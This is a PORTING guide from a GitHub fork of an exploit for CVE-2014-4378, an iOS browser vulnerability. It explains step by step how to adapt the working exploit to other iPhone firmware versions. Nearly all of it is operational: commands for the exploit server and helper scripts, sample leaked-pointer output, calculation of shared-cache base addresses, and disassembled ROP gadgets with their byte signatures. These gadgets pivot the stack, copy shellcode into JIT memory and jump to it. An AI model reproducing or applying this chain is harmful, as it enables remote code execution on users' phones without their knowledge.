forked from feliam/CVE-2014-4378
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPORTING
168 lines (136 loc) · 7.3 KB
/
PORTING
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
In order to port the exploit to a different device-firmware combinantion you'll
need to get the dyld_shared_cache_arm of the target. You may use public available
techniques like decrypting the firmware filesystem or reading it from the memory
of a runing process. As this is a well known public technique no further detail
on how to get this files will be provided. {reference needed!}
The base exploit was developed on a iPhone3,1 with a jailbreaked iOS 7.0.4. All
other targets were ported from there using only the dyld_shared_cache of each and
analizing the crash reports of failing attempts.
Basic porting algorithm (9 steps) :
===================================
1) Get iDevice and upgrade it to desired firmware target
2) Get the dyld_shared_cache out of it (or e.x. OTA updates)
3) Run the exploit server and point your Mobile saferi to ip:$PORT/debug.html.
$ python run.py $PORT
It will loop several times. Log the values printed to the browser screen. Usually
you'll get 3 sets of values.
For example for iPhone3,1 ios 7.0.4 you may get:
d5.89.5c.2f.29.8a.5c.2f.29.8b.5c.2f /POS:180
d5.31.58.2f.31.32.58.2f.35.32.58.2f /POS:168
65.d4.5f.2f.9d.d4.5f.2f.a1.d4.5f.2f /POS:168
The ones at offset 168 are actually unused but it is mentioned because it can be
used to further improbe reliability even more.
4) Calculate posible dyld_shared_cache bases using tools/calcbase.py.
$ python calcbase.py dyld_shared_cache_armv7-iphone3,1-11B55 4a d5 89 5c 2f 29 8a 5c 2f 29 8b 5c 2f
Live Pointers 0x2f5c89d5 0x2f5c8a29 0x2f5c8b29
Possible dyld_shared_cache base: 0x2e095000
{ "byte0": 0xd5, "byte1": 0x29, "byte2": 0x29,
"version": "$VERSION$",
"dyld_shared_cache_offset": 0x015339d5 },
5) Use the data from previous item to augment target array in index.html. Replace
$VERSION$ for a string that selects current iDevice/iOSver target combination.
For example:
var _targets = [
{ "byte0": 0xd5, "byte1": 0x29, "byte2": 0x29,
"version": "iPhone3,1-7.0.4",
"dyld_shared_cache_offset": 0x015339d5 },
]
This version string will be passed to mkCrash.py script and should be used there
to finish the exploit.
6) Search for ROP gadget's offsets in dyld_shared_cache.
Use tools/gadgets.py to search for the easy ROP gadgets. This ex is for iPhone4 7.0.4:
$ python gadgets.py dyld_shared_cache_armv7-iphone3,1-11B554a
"$VERSION$" : { "gadget0": 0x0bdb60d9 + dyld_shared_cache,
"gadget1": 0x014f1257 + dyld_shared_cache,
"gadget2": 0x002ba973 + dyld_shared_cache,
"gadget3": 0x002ba973 + dyld_shared_cache,
"gadget4": 0xffffffff + dyld_shared_cache,
"gadget5": 0x015a60a5 + dyld_shared_cache,
"jit": 0x41414141 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x42424242 + dyld_shared_cache,
"exit": 0x434343 + dyld_shared_cache,
},
Sadlly you'll need to search for gadget4, jit pointer address, AudioServicesPlaySystemSound
and exit manually.
6.1) Gadget0
Precondition: $r0 points to controled heap buffer.
Poscondition: All regiters loaded with controled data from $r0. Stack pivot. JumpX to controled $lr.
Probably found: /usr/lib/system/libsystem_platform.dylib.
Disassembly:
0x39e4b0d8 <_longjmp>: ldm r0!, {r4, r5, r6, r7, r8, r10, r11, sp, lr}
0x39e4b0dc <_longjmp+4>: vldmia r0, {d8-d15}
0x39e4b0e0 <_longjmp+8>: movs r0, r1
0x39e4b0e4 <_longjmp+12>: moveq r0, #1 ; 0x1
0x39e4b0e8 <_longjmp+16>: bx lr
Binary: f0.6d.b0.e8.10.8b.90.ec.01.00.b0.e1.01.00.a0.03.1e.ff
6.2) Gadget1
Precondition: $r6+24d points to memory where JIT pointer is saved.
$r10 points to controlled data, shellcode.
$r4 is the size of the shellcode
$r5 points to memory where JIT pointer is saved.
Poscondition: Shellcode is copied to JIT memory. Several register used.
$r0 points to memory where JIT pointer is saved.
r4, r5, r6, r7, r8, r10, pc taken from stack
Probably found: /System/Library/Frameworks/CoreGraphics.framework/CoreGraphics
Disassembly:
0x2f586256 <CGPDFContextSetImageTag+742>: ldr r0, [r6, #24] ;$r6 points to .data where JIT pointer is.
0x2f586258 <CGPDFContextSetImageTag+744>: mov r1, r10
0x2f58625a <CGPDFContextSetImageTag+746>: mov r2, r4
0x2f58625c <CGPDFContextSetImageTag+748>: blx 0x2f5fe9bc <dyld_stub_memmove>
0x2f586260 <CGPDFContextSetImageTag+752>: mov r0, r5
0x2f586262 <CGPDFContextSetImageTag+754>: add sp, #4
0x2f586264 <CGPDFContextSetImageTag+756>: ldmia.w sp!, {r8, r10}
0x2f586268 <CGPDFContextSetImageTag+760>: pop {r4, r5, r6, r7, pc}
Binary: b0.69.51.46.22.46.78.f0.ae.eb
6.3) Gadget2
Precondition: $r0 points to memory where JIT pointer is saved.
Poscondition: $r0 points to JIT region.
Probably found: /System/Library/Frameworks/CoreGraphics.framework/CoreGraphics
Disassembly:
0x2f539ae8 <CGFontDefaultGetSmoothingStyle+32>: ldr r0, [r0, #0]
0x2f539aea <CGFontDefaultGetSmoothingStyle+34>: pop {r7, pc}
Binary: 00.68.80.bd
6.4) Gadget3
Precondition: $r0 points to memory where JIT pointer is saved.
Poscondition: $r2 points to JIT region.
Probably found: /System/Library/Frameworks/CoreGraphics.framework/CoreGraphics
Disassembly:
0x2f5ca9de <CGFontIndexSetGetName+11938>: mov r2, r5
0x2f5ca9e0 <CGFontIndexSetGetName+11940>: blx r4
Binary:2a.46.a0.47
6.5) Gadget4
Precondition: $r0 is the length of the sghellcode
$r2 points to JIT region where the shellcode is placed
Poscondition: sys_icache_invalidate() prepares memory for execution
Probably found: /usr/lib/system/libsystem_platform.dylib.
Disassembly:
0x39e490de <sys_cache_control+30>: mov r1, r2
0x39e490e0 <sys_cache_control+32>: blx 0x39e490a0 <sys_icache_invalidate>
0x39e490e4 <sys_cache_control+36>: movs r0, #0
0x39e490e6 <sys_cache_control+38>: pop {r7, pc}
Binary: Not applicable (contains offset that changes with firmwares (sys_icache_invalidate))
6.6) Gadget5
Precondition: $r6+8 points to memory where JIT pointer is saved
Poscondition: $r2 points to executable shellcode (used by shellcode)
Jump to ARM mode shellcode
Disassembly:
0x2f63b0a4 <cg_font_library_link_symbol+14560>: mov r0, r6
0x2f63b0a6 <cg_font_library_link_symbol+14562>: ldr r2, [r6, #8]
0x2f63b0a8 <cg_font_library_link_symbol+14564>: blx r2
Binary: 30.46.b2.68.90.47
Note: First shellcode action may be to shifty to THUMB mode using r2 with a code
like this:
0x2a9b7000: add r0, r2, #9
0x2a9b7004: bx r0
7) Search for JIT pointer address.
8) Update _target array in mkCrash.py. If you use gadgets.py remember to replace the placeholders:
$VERSION$ to a string identifying the target device/firmware
0xffffffff -> gadget4 offset
0x41414141 -> jit pointer address (ios 7.x)
0x42424242 -> AudioServicesPlaySystemSound
exit -> exit
Note that last bit of address used to decide arm/thumb mode.
9) Test it. To troubleshot Check the crash reports.
Notes:
IOS 6 and below needs a different ROP chain to get and use the JIT memory pointer.
@feliam